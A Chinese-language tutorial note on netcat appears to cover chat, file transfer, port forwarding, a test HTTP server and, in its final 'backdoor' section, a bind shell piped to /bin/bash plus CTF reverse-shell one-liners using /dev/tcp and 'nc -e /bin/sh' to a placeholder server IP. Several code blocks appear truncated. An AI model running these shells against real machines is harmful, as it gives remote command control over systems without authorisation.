单聊
1 | 服务端(收): |
双向聊天的话就开俩端口,互相监听;-l
就是listen、监听某个端口;-k
就是keep,不然客户端一断服务端也会关闭;keep的话服务端能保持不挂;
聊天室
这个可以安装一下nmap(brew install nmap
),然后就可以用ncat了:
1 | 服务端以broker模式启动: |
然后多个客户端可以连到8888上聊天;(客户端用nc或ncat都行)
传输文件
(就是在聊天基础上加一个管道)
1 | 接收方: |
转发请求:
1 | mkfifo 2way |
http服务
简单启动一个http服务方便测试:
1 | python -m SimpleHTTPServer 8081 |
然后在当前目录放上index.html就能返回文本给curl请求了。
这个在测试命令是否成功执行时能用,也能带回一些基本数据。
后门
其实就是转发端口上收到的东西到/bin/bash
,从而执行命令:
1 | 被控制端: |
这个挺离谱的,试了一下可以ls目录,然后cd到某个目录里继续执行ls、回显结果。
感觉相当于为所欲为了。
CTF里的反向shell一般是先在自己的机器上:
1 | nc -nvlp 10086 |
然后想办法在目标机器上执行:
1 | bash -i >& /dev/tcp/<my_server_ip>/10086 0>&1 |
或者:
1 | nc -e /bin/sh <my_server_ip> 10086 |